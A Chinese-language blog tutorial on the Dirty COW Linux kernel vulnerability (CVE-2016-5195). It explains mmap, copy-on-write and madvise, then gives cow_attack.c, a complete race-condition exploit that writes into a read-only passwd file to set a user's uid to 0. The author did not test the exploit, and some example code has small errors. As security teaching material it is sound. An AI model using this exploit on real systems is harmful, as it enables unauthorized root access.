Dirty_COW_Race_Condition_Attack

前言

來源:《Computer Security》A Hands-on Approach — Wenliang Du

所有的代碼/文檔見github:https://github.com/da1234cao/computer_security

書上的內容介紹比較簡單,這篇文檔也是如此。

當然,也可以參考同類有些難度的文章(這兩篇文章,我沒有看):

CVE-2016-5195漏洞分析與復現利用dirty cow(髒牛)漏洞的提權嘗試


1. 摘要&&總結

偷個懶。。

Dirty Cow(CVE-2016-5195)是一個內核競爭提權漏洞,之前阿里雲安全團隊在先知已經有一份漏洞報告髒牛(Dirty COW)漏洞分析報告——【CVE-2016-5195】,這裏我對漏洞的函數調用鏈和一些細節做了補充,第一次分析Linux kernel CVE,個人對內核的很多機制不太熟,文章有問題的地方懇請各位師傅不吝賜教。

在這裏插入圖片描述


2. 準備工作

在這之前,需要理解競爭條件漏洞,參考:Race_Condition_Vulnerability

2.1 mmap函數

參考:C語言mmap()函數:建立內存映射 + man mmap + mmap和常規文件操作的區別 + Cache 和 Buffer 都是緩存,主要區別是什麼?

mmap和常規文件操作的區別 介紹的有點問題,注意它的評論區。我也沒有清楚明白,暫時不妨礙理解罷了。

2.1.1 mmap函數應用

我們先看看該函數如何使用,再談其背後的機制。

/**
 * mmap function example
 * gcc -o mmap_eaxmple mmap_eaxmple.c
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

int main(void){
    struct stat st;
    void *map;
    char read_contents[30]={0};
    char *new_contents = "mmap function example\n";

    int f = open("./zzz", O_RDWR);
    fstat(f,&st);
    
    /*將整個文件映射到內存*/
    map = mmap(NULL,st.st_size,PROT_READ|PROT_WRITE,MAP_SHARED,f,0);

    if(map == MAP_FAILED)
        return 0;
    
    /*從映射內存中讀取文件內容*/
    // memcpy(read_contents,map,18);
    // printf("read_contents : %s \n",read_contents);
    // printf("firt line : %s  \n",(char *)map);

    //從文件中,讀取一行;一行超過20,取出前20
    FILE *fp = fopen("./zzz","r");
    if(fp == NULL){
        printf("open file failed.");
        return 0;
    }
    fgets(read_contents,sizeof(read_contents),fp);
    fclose(fp);
    printf("first line : %s\n",read_contents);

    /*通過映射內存,向文件中寫入內容*/
    memcpy(map,new_contents,strlen(new_contents));

    munmap(map,st.st_size);
    close(f);

    return 0;

2.2.2 mmap和常規文件操作的區別

  1. read()和write()系統調用,都將陷入內核,將數據從硬盤–>頁緩衝區–>內核空間;再從內核空間拷貝到用戶空間。(頁緩存,解決IO讀取慢的問題)
  2. mmap函數,也會導致陷入內核,但它僅建立用戶虛擬地址空間和文件的映射關係(虛擬地址映射到物理地址,物理頁具體內容沒有加載;)。當進程訪問這片內存的時候,發生缺頁中斷,將文件內容–>頁緩衝區–>y用戶態物理空間。
  3. mmap之所以快,是因爲建立了物理頁到用戶進程的虛地址空間映射,以讀取文件爲例,避免了頁從內核態拷貝到用戶態。
  4. 總體來說,mmap在進程的虛擬地址空間中創建一個新的映射。簡而言之,它將大塊文件/設備內存/任何內容映射到進程的空間,以便僅通過訪問內存即可直接訪問內容。
  5. 真的明白了嗎?非也。上面的觀點結合起來就是,mmap可以代替read,而且更好?read函數至今存在,可能有其存在的理由。

2.2 Copy-on-Write機制

參考:COW奶牛!Copy On Write機制瞭解一下

簡單理解就是,多個進程起初共享一段內存(不同的進程有不同的虛擬地址空間,虛擬地址映射在相同的物理頁,便共享同一段內存了)。當有個進程要對該內存進行寫操作的時候,複製一份到其他物理頁,該進程的虛擬地址空間的頁表映射也修改,使得映射到新的物理頁。

即,複製的操作推遲到需要寫的時候才執行。詳細見上面鏈接。


2.2.1 mmap函數MAP_PRIVATE參數

COW機制:複製內容到新內存 --> 修改頁表映射,映射到新內存 --> 在新內存進行寫操作。
在這裏插入圖片描述


2.2.2 madvise函數

參考:/proc/self/ + C語言lseek()函數:移動文件的讀寫位置 + sizeof與strlen的區別 + [轉]mmap和madvise的使用

當使用madvise函數中的MADV_DONTNEED參數。進程會放棄已經複製的內存,修改頁表映射重新執行原來的內存空間。

/**
 * 文件名:cow_map_readonly_file.c
 * 編譯:gcc -o cow_map_readonly_file.c cow_map_readonly_file
 * 作用:瞭解copy-on-write(COW)機制
 * 操作:
 * 1. 使用/proc/self/mem對只讀內存進行寫操作。由於COW機制,並沒有修改原內存,是複製到新內存。
 * 2. 之後使用madvise,放棄已修改的新內存
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

int main(void){
    struct stat st;
    char read_content[20]={0};
    char *new_content = "This is new content";

    int f = open("./zzz",O_RDONLY);//對於others,文件僅有讀權限 
    fstat(f,&st);

    void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);//將文件與內存映射

    int fm = open("/proc/self/mem",O_RDWR);//打開該進程內存對應的僞文件

    lseek(fm,(__off_t)map,SEEK_SET); //定位讀寫位置到map,我們可以通過內存直接修改文件內容

    /**
     * 將內容寫到只讀文件?否
     * COW機制:複製一份到內存中--》頁表映射到新內存位置--》內容也寫入新內存位置
     * 文件映射的內存被標識爲COW,在寫之前確實檢查了,所及執行後面的複製操作。
    */
    write(fm,new_content,strlen(new_content)); 

    
    // memcpy(read_content,map,strlen(read_content));//讀取部分新內存位置內容
    memcpy(read_content,map,sizeof(read_content)-1);//讀取部分新內存位置內容
    printf("content after write: %s \n",read_content);

    madvise(map,st.st_size,MADV_DONTNEED);//丟棄新的內存位置,map指向原來位置

    memcpy(read_content,map,strlen(read_content));//讀取部分原來內存位置內容
    printf("content after madvise: %s \n",read_content);


    return 0;
}

3. Dirty COW

  1. COW機制:複製內容到新內存 --> 修改頁表映射,映射到新內存 --> 在新內存進行寫操作。
  2. 當使用madvise函數中的MADV_DONTNEED參數。進程會放棄已經複製的內存,修改頁表映射重新執行原來的內存空間。
  3. 所以,我們只需要,按照下面的順序,便可以利用這裏競爭條件漏洞(檢查和執行分離)。
  4. 複製內容到新內存 --> 修改頁表映射,映射到新內存 -->madvise,放棄已經複製的內存,修改頁表映射重新執行原來的內存空間 --> 在內存進行寫操作,便對只讀文件進行了寫操作。

在這裏插入圖片描述

參考文章:Pthread線程簡單使用 + linux C語言多線程編程,如何傳入參數,如何獲得返回值 + linux查看進程所有子進程和線程

/**
 * 文件名: cow_attack.c
 * 編譯: gcc -pthread -o cow_attack cow_attack.c
 * 描述: 
 * main thread: 將只讀文件/etc/passwd.bak映射進入內存
 * write thread: 對該內存進行寫操作,觸發COW機制;複製--》頁表修改--》寫操作
 * madvise thread: 放棄複製的內存,修改頁表指回原來只讀文件對應的內存
 * 作用:將用戶dacao的uid改成0(root)
*/

#include <stdio.h>
#include <sys/types.h>  
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <pthread.h>

struct file_info
{
    char *map; //文件映射到內存的起始位置
    off_t file_size;// 文件映射到內存的大小
};


void *writeThread(void *arg){
    char *position = arg;
    char *new_content = "dacao:x:0";

    /*對/etc/passwd.bak的內存,進行寫入操作,出發COW*/
    int f = open("/proc/self/mem",O_RDWR);
    while (1){
        lseek(f,(__off_t)position,SEEK_SET);
        write(f,new_content,strlen(new_content));
    }
    
}


void *madviseThread(void *arg){
    struct file_info *pth2_arg = (struct file_info*)arg;
    while (1){
        madvise(pth2_arg->map,pth2_arg->file_size,MADV_DONTNEED);//丟棄新的內存位置,map指向原來位置
    }
    
}


int main(void){
    struct stat st;

    /*將/etc/passwd.bak映射進入內存*/
    int f = open("/etc/passwd.bak",O_RDONLY);
    fstat(f,&st);
    void *map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    //傳遞給線程的變量
    char *position = strstr(map,"dacao:x:1000");
    struct file_info pth2_arg;
    pth2_arg.file_size = st.st_size;
    pth2_arg.map = map;

    pthread_t pth1,pth2;
    pthread_create(&pth1,NULL,writeThread,position);
    pthread_create(&pth2,NULL,madviseThread,&pth2_arg);

    pthread_join(pth1,NULL);
    pthread_join(pth2,NULL);

    return 0;
}

4. 結果

這個漏洞已經修復,我也偷懶沒有去虛擬機安裝一箇舊版本的內核進行嘗試。

可以參看:CVE-2016-5195漏洞分析與復現

在這裏插入圖片描述


參考文章彙總

Race_Condition_Vulnerability

C語言mmap()函數:建立內存映射 + man mmap + mmap和常規文件操作的區別 + Cache 和 Buffer 都是緩存,主要區別是什麼?

COW奶牛!Copy On Write機制瞭解一下

/proc/self/ + C語言lseek()函數:移動文件的讀寫位置 + sizeof與strlen的區別 + [轉]mmap和madvise的使用

Pthread線程簡單使用 + linux C語言多線程編程,如何傳入參數,如何獲得返回值 + linux查看進程所有子進程和線程

CVE-2016-5195漏洞分析與復現利用dirty cow(髒牛)漏洞的提權嘗試

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章